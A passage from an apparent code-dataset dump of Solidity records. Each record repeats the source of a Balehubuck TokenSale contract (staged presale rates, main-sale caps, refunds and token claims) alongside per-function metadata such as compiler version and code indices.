// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | buyMainSale | function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
| // @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
10886,
12038
]
} | 59,888 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | calcpresaleAllocations | function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
| // @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
12305,
12481
]
} | 59,889 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | endPresale | function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
| // @dev Ends the presale | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
12514,
12635
]
} | 59,890 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
